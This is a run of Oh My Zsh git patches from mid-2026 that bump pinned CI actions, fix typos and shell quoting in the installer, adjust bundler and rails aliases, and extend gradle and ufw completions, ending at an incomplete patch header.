--git a/.github/workflows/installer.yml b/.github/workflows/installer.yml index 2b4eba75f..f0d1abb9b 100644 --- a/.github/workflows/installer.yml +++ b/.github/workflows/installer.yml @@ -31,7 +31,7 @@ jobs: egress-policy: audit - name: Set up git repository - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 - name: Install zsh if: runner.os == 'Linux' run: sudo apt-get update; sudo apt-get install zsh @@ -52,7 +52,7 @@ jobs: egress-policy: audit - name: Checkout - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 - name: Install Vercel CLI run: npm install -g vercel - name: Setup project and deploy diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index ca816375e..52c297f3f 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -29,7 +29,7 @@ jobs: egress-policy: audit - name: Set up git repository - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 - name: Install zsh run: sudo apt-get update; sudo apt-get install zsh - name: Check syntax diff --git a/.github/workflows/scorecard.yml b/.github/workflows/scorecard.yml index f4b9e012e..fa767fbcb 100644 --- a/.github/workflows/scorecard.yml +++ b/.github/workflows/scorecard.yml @@ -41,7 +41,7 @@ jobs: egress-policy: audit - name: "Checkout code" - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 with: persist-credentials: false From ff1df9a0399d56b9f6e957bb62a2d4ba6bc0ef4c Mon Sep 17 00:00:00 2001 From: Lixin2026 <126993554+2023Anita@users.noreply.github.com> Date: Thu, 25 Jun 2026 18:23:42 +0800 Subject: [PATCH 24/37] docs: formatting (#13830) --- plugins/history-substring-search/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/history-substring-search/README.md b/plugins/history-substring-search/README.md index 49bed5255..642339bda 100644 --- a/plugins/history-substring-search/README.md +++ b/plugins/history-substring-search/README.md @@ -20,7 +20,7 @@ Requirements Install ------------------------------------------------------------------------------ -Using the [Homebrew]( https://brew.sh ) package manager: +Using the [Homebrew](https://brew.sh) package manager: brew install zsh-history-substring-search echo 'source $(brew --prefix)/share/zsh-history-substring-search/zsh-history-substring-search.zsh' >> ~/.zshrc From d2379b2701df66a36b217a7707e77f8029a99814 Mon Sep 17 00:00:00 2001 From: Sri Harsha Ponukumati <53646447+hponukumati@users.noreply.github.com> Date: Fri, 26 Jun 2026 08:07:51 -0700 Subject: [PATCH 25/37] chore(install): quote vars and defensive programming (#13840) --- tools/install.sh | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/tools/install.sh b/tools/install.sh index 5234c17a4..3eae21f9b 100755 --- a/tools/install.sh +++ b/tools/install.sh @@ -51,7 +51,7 @@ USER=${USER:-$(id -u -n)} # POSIX: https://pubs.opengroup.org/onlinepubs/009696899/basedefs/xbd_chap08.html#tag_08_03 HOME="${HOME:-$(getent passwd $USER 2>/dev/null | cut -d: -f6)}" # macOS does not have getent, but this works even if $HOME is unset -HOME="${HOME:-$(eval echo ~$USER)}" +HOME="${HOME:-$(eval echo ~"$USER")}" # Track if $ZSH was provided @@ -344,7 +344,7 @@ setup_zshrc() { return fi - if [ $OVERWRITE_CONFIRMATION != "no" ]; then + if [ "$OVERWRITE_CONFIRMATION" != "no" ]; then # Ask user for confirmation before backing up and overwriting echo "${FMT_YELLOW}Found ${zdot}/.zshrc." echo "The existing .zshrc will be backed up to .zshrc.pre-oh-my-zsh if overwritten." @@ -475,12 +475,14 @@ EOF if user_can_sudo; then sudo -k >/dev/null 2>&1 || true # -k forces the password prompt when supported sudo chsh -s "$zsh" "$USER" + chsh_status=$? else chsh -s "$zsh" "$USER" # run chsh normally + chsh_status=$? fi # Check if the shell change was successful - if [ $? -ne 0 ]; then + if [ "$chsh_status" -ne 0 ]; then fmt_error "chsh command unsuccessful. Change your default shell manually." else export SHELL="$zsh" From 65749801cf4c3b1f3c79a20001909d72dadd307f Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 29 Jun 2026 01:11:51 +0200 Subject: [PATCH 26/37] chore(deps): bump actions/setup-python from 6.2.0 to 6.3.0 (#13842) Bumps [actions/setup-python](https://github.com/actions/setup-python) from 6.2.0 to 6.3.0. - [Release notes](https://github.com/actions/setup-python/releases) - [Commits](https://github.com/actions/setup-python/compare/a309ff8b426b58ec0e2a45f0f869d46889d02405...ece7cb06caefa5fff74198d8649806c4678c61a1) --- updated-dependencies: - dependency-name: actions/setup-python dependency-version: 6.3.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- .github/workflows/dependencies.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/dependencies.yml b/.github/workflows/dependencies.yml index a17d66f4a..5bcaabfbc 100644 --- a/.github/workflows/dependencies.yml +++ b/.github/workflows/dependencies.yml @@ -31,7 +31,7 @@ jobs: client-id: ${{ secrets.OHMYZSH_CLIENT_ID }} private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }} - name: Setup Python - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6.3.0 with: python-version: "3.12" cache: "pip" From 81becab1e791ec12968b128c371b50a4cc7537ae Mon Sep 17 00:00:00 2001 From: vladislav doster Date: Wed, 1 Jul 2026 03:42:26 -0500 Subject: [PATCH 27/37] docs: typos (#13846) Signed-off-by: vladdoster --- lib/cli.zsh | 2 +- plugins/common-aliases/common-aliases.plugin.zsh | 2 +- plugins/gnu-utils/README.md | 2 +- plugins/grunt/grunt.plugin.zsh | 2 +- plugins/history-substring-search/history-substring-search.zsh | 4 ++-- plugins/pulumi/README.md | 2 +- themes/trapd00r.zsh-theme | 2 +- 7 files changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/cli.zsh b/lib/cli.zsh index 55938ba8a..a9f0a0767 100644 --- a/lib/cli.zsh +++ b/lib/cli.zsh @@ -371,7 +371,7 @@ multi == 1 && /^[^#]*\)/ { next } -# if multi flag is enabled and we didnt find a closing parenthesis, +# if multi flag is enabled and we didn't find a closing parenthesis, # get the indentation level to match when adding plugins multi == 1 && /^[^#]*/ { indent=\"\" diff --git a/plugins/common-aliases/common-aliases.plugin.zsh b/plugins/common-aliases/common-aliases.plugin.zsh index 3139b821a..8db4b9557 100644 --- a/plugins/common-aliases/common-aliases.plugin.zsh +++ b/plugins/common-aliases/common-aliases.plugin.zsh @@ -78,7 +78,7 @@ if is-at-least 4.2.0; then alias -s chm=xchm alias -s djvu=djview - #list whats inside packed file + #list what's inside packed file alias -s zip="unzip -l" alias -s rar="unrar l" alias -s tar="tar tf" diff --git a/plugins/gnu-utils/README.md b/plugins/gnu-utils/README.md index f5fa81e2f..6084de3d9 100644 --- a/plugins/gnu-utils/README.md +++ b/plugins/gnu-utils/README.md @@ -27,7 +27,7 @@ The plugin also documents two other ways to do this: 1. Using a function wrapper, such that, for example, there exists a function named `ls` which calls `gls` instead. Since functions have a higher preference -than commands, this ends up calling the GNU coreutil. It has also a higher +than commands, this ends up calling the GNU coreutils. It has also a higher preference over shell builtins (`gecho` is called instead of the builtin `echo`). 2. Using an alias. This has an even higher preference than functions, but they diff --git a/plugins/grunt/grunt.plugin.zsh b/plugins/grunt/grunt.plugin.zsh index a89469a59..354714e09 100644 --- a/plugins/grunt/grunt.plugin.zsh +++ b/plugins/grunt/grunt.plugin.zsh @@ -23,7 +23,7 @@ # # Enable caching: # -# If you want to use the cache, set the followings in your .zshrc: +# If you want to use the cache, set the following in your .zshrc: # # zstyle ':completion:*' use-cache yes # diff --git a/plugins/history-substring-search/history-substring-search.zsh b/plugins/history-substring-search/history-substring-search.zsh index 2137b7950..9f0e0b0d5 100644 --- a/plugins/history-substring-search/history-substring-search.zsh +++ b/plugins/history-substring-search/history-substring-search.zsh @@ -295,8 +295,8 @@ _history-substring-search-begin() { fi # - # Escape and join query parts with wildcard character '*' as seperator - # `(j:CHAR:)` join array to string with CHAR as seperator + # Escape and join query parts with wildcard character '*' as separator + # `(j:CHAR:)` join array to string with CHAR as separator # local search_pattern="${(j:*:)_history_substring_search_query_parts[@]//(#m)[\][()|\\*?#<>~^]/\\$MATCH}*" diff --git a/plugins/pulumi/README.md b/plugins/pulumi/README.md index 4c771964b..a52c12458 100644 --- a/plugins/pulumi/README.md +++ b/plugins/pulumi/README.md @@ -1,7 +1,7 @@ # Pulumi This is an **Oh My Zsh plugin** for the [**Pulumi CLI**](https://www.pulumi.com/docs/iac/cli/), -an Infrastructure as Code (IaC) tool for building, deploying and managing cloud infrastucture. +an Infrastructure as Code (IaC) tool for building, deploying and managing cloud infrastructure. This plugin provides: diff --git a/themes/trapd00r.zsh-theme b/themes/trapd00r.zsh-theme index 260c9e701..b689ffd85 100644 --- a/themes/trapd00r.zsh-theme +++ b/themes/trapd00r.zsh-theme @@ -10,7 +10,7 @@ # scp1@shiva:pts/9-> /home » scp1 (0) # > # -# that's user@host:pts/-> splitted path (return status) +# that's user@host:pts/-> split path (return status) # # If the current directory is a git repository, we span 3 lines; # From ff2f16e8df7386d7198009566aef09cbbc0c8212 Mon Sep 17 00:00:00 2001 From: Chuck <13651291+eclectic-coding@users.noreply.github.com> Date: Wed, 1 Jul 2026 05:03:49 -0400 Subject: [PATCH 28/37] fix(bundler): use new `--all` syntax (#13837) --- plugins/bundler/README.md | 2 +- plugins/bundler/bundler.plugin.zsh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/bundler/README.md b/plugins/bundler/README.md index ddf547276..8280a344c 100644 --- a/plugins/bundler/README.md +++ b/plugins/bundler/README.md @@ -22,7 +22,7 @@ plugins=(... bundler) | `bo` | `bundle open` | Opens the source directory for a gem in your bundle | | `bout` | `bundle outdated` | List installed gems with newer versions available | | `bp` | `bundle package` | Package your needed .gem files into your application | -| `bu` | `bundle update` | Update your gems to the latest available versions | +| `bu` | `bundle update --all` | Update your gems to the latest available versions | ## Gem wrapper diff --git a/plugins/bundler/bundler.plugin.zsh b/plugins/bundler/bundler.plugin.zsh index 53b36f092..a496d42de 100644 --- a/plugins/bundler/bundler.plugin.zsh +++ b/plugins/bundler/bundler.plugin.zsh @@ -9,7 +9,7 @@ alias bl="bundle list" alias bo="bundle open" alias bout="bundle outdated" alias bp="bundle package" -alias bu="bundle update" +alias bu="bundle update --all" ## Gem wrapper From 19962acc0656bc92a36c8df9e6b461d424b6d366 Mon Sep 17 00:00:00 2001 From: "ohmyzsh[bot]" <54982679+ohmyzsh[bot]@users.noreply.github.com> Date: Sun, 5 Jul 2026 10:44:09 +0200 Subject: [PATCH 29/37] chore(gradle): update to 63578c9b (#13852) Co-authored-by: ohmyzsh[bot] <54982679+ohmyzsh[bot]@users.noreply.github.com> --- .github/dependencies.yml | 2 +- plugins/gradle/_gradle | 6 ++++++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/.github/dependencies.yml b/.github/dependencies.yml index 6ae21ed2a..b2440fa7e 100644 --- a/.github/dependencies.yml +++ b/.github/dependencies.yml @@ -12,7 +12,7 @@ dependencies: plugins/gradle: repo: gradle/gradle-completion branch: master - version: d8bc301a1fdeed8dc1dd9675138e1d9b7ddc5e4e + version: 63578c9bc56134b80766e88957ba0239e6be2343 precopy: | set -e find . ! -name _gradle ! -name LICENSE -delete diff --git a/plugins/gradle/_gradle b/plugins/gradle/_gradle index 2dbb66df4..aa7c8dec1 100644 --- a/plugins/gradle/_gradle +++ b/plugins/gradle/_gradle @@ -269,6 +269,7 @@ __gradle_subcommand() { '-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]' \ '-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \ '-Dorg.gradle.configureondemand=[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]' \ + '-Dorg.gradle.console.interactive=[]' \ '-Dorg.gradle.console.unicode=[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]' \ '-Dorg.gradle.console=[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:org.gradle.console:(plain auto rich verbose)' \ '-Dorg.gradle.continue=[Continues task execution after a task failure.]' \ @@ -298,6 +299,7 @@ __gradle_subcommand() { '-Dorg.gradle.problems.report=[Enables the HTML problems report.]' \ '-Dorg.gradle.projectcachedir=[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:org.gradle.projectcachedir:_directories' \ '-Dorg.gradle.tooling.parallel=[]' \ + '-Dorg.gradle.unsafe.isolated-projects.diagnostics=[]' \ '-Dorg.gradle.unsafe.isolated-projects=[]' \ '-Dorg.gradle.vfs.verbose=[]' \ '-Dorg.gradle.vfs.watch=[Enables file system watching. Reuses file system data for subsequent builds.]:org.gradle.vfs.watch:(true false)' \ @@ -337,6 +339,7 @@ __gradle_subcommand() { {-a,--no-rebuild}'[Disables rebuilding of project dependencies.]' \ (--scan)'--no-scan[Disables the creation of a Build Scan.]' \ (--watch-fs)'--no-watch-fs[Disables file system watching.]' \ + '--non-interactive[Do not do interactive prompting. (incubating)]' \ '--offline[Runs the build without accessing network resources.]' \ (--no-parallel)'--parallel[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \ '--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]' \ @@ -403,6 +406,7 @@ _gradle() { '-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]:->argument-expected' \ '-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]:->argument-expected' \ '-Dorg.gradle.configureondemand=[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]:->argument-expected' \ + '-Dorg.gradle.console.interactive=[]:->argument-expected' \ '-Dorg.gradle.console.unicode=[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]:->argument-expected' \ '-Dorg.gradle.console=[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:org.gradle.console:(plain auto rich verbose):->argument-expected' \ '-Dorg.gradle.continue=[Continues task execution after a task failure.]:->argument-expected' \ @@ -432,6 +436,7 @@ _gradle() { '-Dorg.gradle.problems.report=[Enables the HTML problems report.]:->argument-expected' \ '-Dorg.gradle.projectcachedir=[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:org.gradle.projectcachedir:_directories:->argument-expected' \ '-Dorg.gradle.tooling.parallel=[]:->argument-expected' \ + '-Dorg.gradle.unsafe.isolated-projects.diagnostics=[]:->argument-expected' \ '-Dorg.gradle.unsafe.isolated-projects=[]:->argument-expected' \ '-Dorg.gradle.vfs.verbose=[]:->argument-expected' \ '-Dorg.gradle.vfs.watch=[Enables file system watching. Reuses file system data for subsequent builds.]:org.gradle.vfs.watch:(true false):->argument-expected' \ @@ -472,6 +477,7 @@ _gradle() { {-a,--no-rebuild}'[Disables rebuilding of project dependencies.]' \ (--scan)'--no-scan[Disables the creation of a Build Scan.]' \ (--watch-fs)'--no-watch-fs[Disables file system watching.]' \ + '--non-interactive[Do not do interactive prompting. (incubating)]' \ '--offline[Runs the build without accessing network resources.]' \ (--no-parallel)'--parallel[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \ '--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:->argument-expected' \ From 51e98fadc9d09b0504ce6964e4008c53e9ac1cbb Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 6 Jul 2026 10:31:12 +0200 Subject: [PATCH 30/37] chore(deps): bump github/codeql-action/upload-sarif (#13855) Bumps [github/codeql-action/upload-sarif](https://github.com/github/codeql-action) from 4.36.2 to 4.36.3. - [Release notes](https://github.com/github/codeql-action/releases) - [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md) - [Commits](https://github.com/github/codeql-action/compare/8aad20d150bbac5944a9f9d289da16a4b0d87c1e...54f647b7e1bb85c95cddabcd46b0c578ec92bc1a) --- updated-dependencies: - dependency-name: github/codeql-action/upload-sarif dependency-version: 4.36.3 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- .github/workflows/scorecard.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/scorecard.yml b/.github/workflows/scorecard.yml index fa767fbcb..df31fb738 100644 --- a/.github/workflows/scorecard.yml +++ b/.github/workflows/scorecard.yml @@ -60,6 +60,6 @@ jobs: retention-days: 5 - name: "Upload to code-scanning" - uses: github/codeql-action/upload-sarif@8aad20d150bbac5944a9f9d289da16a4b0d87c1e # v4.36.2 + uses: github/codeql-action/upload-sarif@54f647b7e1bb85c95cddabcd46b0c578ec92bc1a # v4.36.3 with: sarif_file: results.sarif From 8c8782e36250cf85e3c0fc2e8391e7742b1ac3aa Mon Sep 17 00:00:00 2001 From: kapil971390 Date: Tue, 7 Jul 2026 14:17:59 +0530 Subject: [PATCH 31/37] fix(josh): escape % in branch before computing branch_size (#13835) Co-authored-by: kapilvus --- themes/josh.zsh-theme | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/themes/josh.zsh-theme b/themes/josh.zsh-theme index e8ae18dda..ead1fadfa 100644 --- a/themes/josh.zsh-theme +++ b/themes/josh.zsh-theme @@ -10,6 +10,7 @@ function josh_prompt { prompt=" " branch=$(git_current_branch) + branch="${branch//\%/%%}" ruby_version=$(ruby_prompt_info) path_size=${#PWD} branch_size=${#branch} @@ -31,7 +32,7 @@ function josh_prompt { prompt=" $prompt" done - prompt="%{%F{green}%}$PWD$prompt%{%F{red}%}$(ruby_prompt_info)%{$reset_color%} ${branch//\%/%%}" + prompt="%{%F{green}%}$PWD$prompt%{%F{red}%}$(ruby_prompt_info)%{$reset_color%} ${branch}" echo $prompt } From 677a4592b18c08ddea737f8aca70bac0e9fc9313 Mon Sep 17 00:00:00 2001 From: Ishaan Kapur <64529428+ishaanlabs-gg@users.noreply.github.com> Date: Tue, 7 Jul 2026 14:19:59 +0530 Subject: [PATCH 32/37] feat(ufw): complete route rule actions (#13848) --- plugins/ufw/README.md | 1 + plugins/ufw/_ufw | 44 +++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 45 insertions(+) diff --git a/plugins/ufw/README.md b/plugins/ufw/README.md index ffcc6d6f7..5aeb7f1b9 100644 --- a/plugins/ufw/README.md +++ b/plugins/ufw/README.md @@ -16,3 +16,4 @@ Some of the commands include: * `deny /` add deny rule * `disable` disables the firewall * `enable` enables the firewall +* `route` add route rule diff --git a/plugins/ufw/_ufw b/plugins/ufw/_ufw index f5ad03377..701231ec7 100644 --- a/plugins/ufw/_ufw +++ b/plugins/ufw/_ufw @@ -31,6 +31,7 @@ _1st_arguments=( 'reject:add reject rule' 'reload:reloads firewall' 'reset:reset firewall' + 'route:add route rule' 'show:show firewall report' 'status:show firewall status' 'version:display version information' @@ -43,6 +44,7 @@ _arguments -C \ '1:: :->cmds' \ '2:: :->subcmds' \ '3:: :->subsubcmds' \ + '4:: :->subsubsubcmds' \ && return 0 local rules @@ -83,6 +85,17 @@ case "$state" in 'raw' 'builtins' 'before-rules' 'user-rules' 'after-rules' 'logging-rules' 'listening' 'added' \ && ret=0 ;; + (route) + _values 'route' \ + 'delete[delete route rule]' \ + 'insert[insert route rule at NUM]' \ + 'prepend[prepend route rule]' \ + 'allow[add allow route rule]' \ + 'deny[add deny route rule]' \ + 'reject[add reject route rule]' \ + 'limit[add limit route rule]' \ + && ret=0 + ;; (delete) rules="$(_ufw_delete_rules)" if [[ -n "$rules" ]] ; then @@ -109,6 +122,37 @@ case "$state" in 'incoming' 'outgoing' \ && ret=0 ;; + (route) + case "$line[2]" in + (delete|prepend) + _values 'route-action' \ + 'allow[route allow rule]' \ + 'deny[route deny rule]' \ + 'reject[route reject rule]' \ + 'limit[route limit rule]' \ + && ret=0 + ;; + (insert) + _message 'route rule number' + ;; + esac + ;; + esac + ;; + (subsubsubcmds) + case "$line[1]" in + (route) + case "$line[2]" in + (insert) + _values 'route-action' \ + 'allow[route allow rule]' \ + 'deny[route deny rule]' \ + 'reject[route reject rule]' \ + 'limit[route limit rule]' \ + && ret=0 + ;; + esac + ;; esac esac From f2546022a5018d843e465ee776352538c8cce695 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 20 Jul 2026 10:31:39 +0200 Subject: [PATCH 33/37] chore(deps): bump github/codeql-action/upload-sarif from 4.36.3 to 4.37.1 (#13874) Signed-off-by: dependabot[bot] --- .github/workflows/scorecard.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/scorecard.yml b/.github/workflows/scorecard.yml index df31fb738..0770ba974 100644 --- a/.github/workflows/scorecard.yml +++ b/.github/workflows/scorecard.yml @@ -60,6 +60,6 @@ jobs: retention-days: 5 - name: "Upload to code-scanning" - uses: github/codeql-action/upload-sarif@54f647b7e1bb85c95cddabcd46b0c578ec92bc1a # v4.36.3 + uses: github/codeql-action/upload-sarif@7188fc363630916deb702c7fdcf4e481b751f97a # v4.37.1 with: sarif_file: results.sarif From 98fe9b81a62ed75baf25cf23aa41e338a83bec6d Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 20 Jul 2026 10:39:30 +0200 Subject: [PATCH 34/37] chore(deps): bump step-security/harden-runner from 2.19.4 to 2.20.0 (#13863) Signed-off-by: dependabot[bot] --- .github/workflows/dependencies.yml | 2 +- .github/workflows/installer.yml | 4 ++-- .github/workflows/main.yml | 2 +- .github/workflows/project.yml | 2 +- .github/workflows/scorecard.yml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.github/workflows/dependencies.yml b/.github/workflows/dependencies.yml index 5bcaabfbc..21fc9756f 100644 --- a/.github/workflows/dependencies.yml +++ b/.github/workflows/dependencies.yml @@ -16,7 +16,7 @@ jobs: contents: write # this is needed to push commits and branches steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 + uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0 with: egress-policy: audit diff --git a/.github/workflows/installer.yml b/.github/workflows/installer.yml index f0d1abb9b..017d26213 100644 --- a/.github/workflows/installer.yml +++ b/.github/workflows/installer.yml @@ -26,7 +26,7 @@ jobs: - macos-latest steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 + uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0 with: egress-policy: audit @@ -47,7 +47,7 @@ jobs: - test steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 + uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0 with: egress-policy: audit diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 52c297f3f..8b1835f72 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -24,7 +24,7 @@ jobs: if: github.repository == 'ohmyzsh/ohmyzsh' steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 + uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0 with: egress-policy: audit diff --git a/.github/workflows/project.yml b/.github/workflows/project.yml index e3117769f..b9489cf6f 100644 --- a/.github/workflows/project.yml +++ b/.github/workflows/project.yml @@ -17,7 +17,7 @@ jobs: if: github.repository == 'ohmyzsh/ohmyzsh' steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 + uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0 with: egress-policy: audit - name: Authenticate as @ohmyzsh diff --git a/.github/workflows/scorecard.yml b/.github/workflows/scorecard.yml index 0770ba974..f31221f88 100644 --- a/.github/workflows/scorecard.yml +++ b/.github/workflows/scorecard.yml @@ -36,7 +36,7 @@ jobs: steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 + uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0 with: egress-policy: audit From 59a9740721b734835812121322d6fe4827b0853a Mon Sep 17 00:00:00 2001 From: Rahul Agarwal Date: Wed, 22 Jul 2026 01:55:18 +0530 Subject: [PATCH 35/37] fix(bundler): restore `bu` and add `bua` alias (#13872) * fix(bundler): make `bu` pass arguments through Preserve `bundle update --all` for the no-argument form while allowing specific gems and options to pass through. Fixes #13871 Assisted-by: Claude Fable 5 (Claude Code) * fix(bundler): keep bu as generic update alias * feat(bundler): add alias for update all --- plugins/bundler/README.md | 3 ++- plugins/bundler/bundler.plugin.zsh | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/plugins/bundler/README.md b/plugins/bundler/README.md index 8280a344c..b322b8d71 100644 --- a/plugins/bundler/README.md +++ b/plugins/bundler/README.md @@ -22,7 +22,8 @@ plugins=(... bundler) | `bo` | `bundle open` | Opens the source directory for a gem in your bundle | | `bout` | `bundle outdated` | List installed gems with newer versions available | | `bp` | `bundle package` | Package your needed .gem files into your application | -| `bu` | `bundle update --all` | Update your gems to the latest available versions | +| `bu` | `bundle update` | Update your gems to the latest available versions | +| `bua` | `bundle update --all` | Update all gems to the latest available versions | ## Gem wrapper diff --git a/plugins/bundler/bundler.plugin.zsh b/plugins/bundler/bundler.plugin.zsh index a496d42de..4af27f4d2 100644 --- a/plugins/bundler/bundler.plugin.zsh +++ b/plugins/bundler/bundler.plugin.zsh @@ -9,7 +9,8 @@ alias bl="bundle list" alias bo="bundle open" alias bout="bundle outdated" alias bp="bundle package" -alias bu="bundle update --all" +alias bu="bundle update" +alias bua="bundle update --all" ## Gem wrapper From e1d1f0dcd53d87096e5bfa48cb1c30d37cb7e5bf Mon Sep 17 00:00:00 2001 From: Nicolas Temciuc Date: Wed, 22 Jul 2026 07:59:54 -0300 Subject: [PATCH 36/37] feat(rails): add `rails db:migrate:reset` alias (#13845) --- plugins/rails/README.md | 3 ++- plugins/rails/_rails | 1 + plugins/rails/rails.plugin.zsh | 1 + 3 files changed, 4 insertions(+), 1 deletion(-) diff --git a/plugins/rails/README.md b/plugins/rails/README.md index c0c37ff3d..f023031a6 100644 --- a/plugins/rails/README.md +++ b/plugins/rails/README.md @@ -24,11 +24,12 @@ plugins=(... rails) | `rdm` | `rails db:migrate` | Run pending db migrations | | `rdmd` | `rails db:migrate:down` | Undo specific db migration | | `rdmr` | `rails db:migrate:redo` | Redo specific db migration | +| `rdmrs` | `rails db:migrate:reset` | Delete the database and set it up again from scratch. | | `rdms` | `rails db:migrate:status` | Show current db migration status | | `rdmtc` | `rails db:migrate db:test:clone` | Run pending migrations and clone db into test database | | `rdmu` | `rails db:migrate:up` | Run specific db migration | | `rdr` | `rails db:rollback` | Roll back the last migration | -| `rdrs` | `rails db:reset` | Delete the database and set it up again | +| `rdrs` | `rails db:reset` | Delete the database and set it up again from schema. | | `rds` | `rails db:seed` | Seed the database | | `rdsl` | `rails db:schema:load` | Load the database schema | | `rdtc` | `rails db:test:clone` | Clone the database into the test database | diff --git a/plugins/rails/_rails b/plugins/rails/_rails index dbd843c80..f92f696f0 100644 --- a/plugins/rails/_rails +++ b/plugins/rails/_rails @@ -214,6 +214,7 @@ _rails_subcommands() { "db\:migrate[Migrate the database]" "db\:migrate\:down[Run the 'down' for a given migration VERSION]" "db\:migrate\:redo[Roll back the database one migration and re-migrate up]" + "db\:migrate\:reset[Drop and recreate all databases from scratch for the current environment]" "db\:migrate\:status[Display status of migrations]" "db\:migrate\:up[Run the 'up' for a given migration VERSION]" "db\:prepare[Run setup if database does not exist, or run migrations if it does]" diff --git a/plugins/rails/rails.plugin.zsh b/plugins/rails/rails.plugin.zsh index 75dd9b0c6..9d503768e 100644 --- a/plugins/rails/rails.plugin.zsh +++ b/plugins/rails/rails.plugin.zsh @@ -52,6 +52,7 @@ alias rdd='rails db:drop' alias rdm='rails db:migrate' alias rdmd='rails db:migrate:down' alias rdmr='rails db:migrate:redo' +alias rdmrs='rails db:migrate:reset' alias rdms='rails db:migrate:status' alias rdmtc='rails db:migrate db:test:clone' alias rdmu='rails db:migrate:up' From b37dd49ca5bfe0d99b35607637152cb8cc8b29d7 Mon Sep 17 00:00:00 2001 From: Aadhil Date: Thu, 23 Jul 2026 23:08:43 +0530 Subject: [PATCH 37/37] 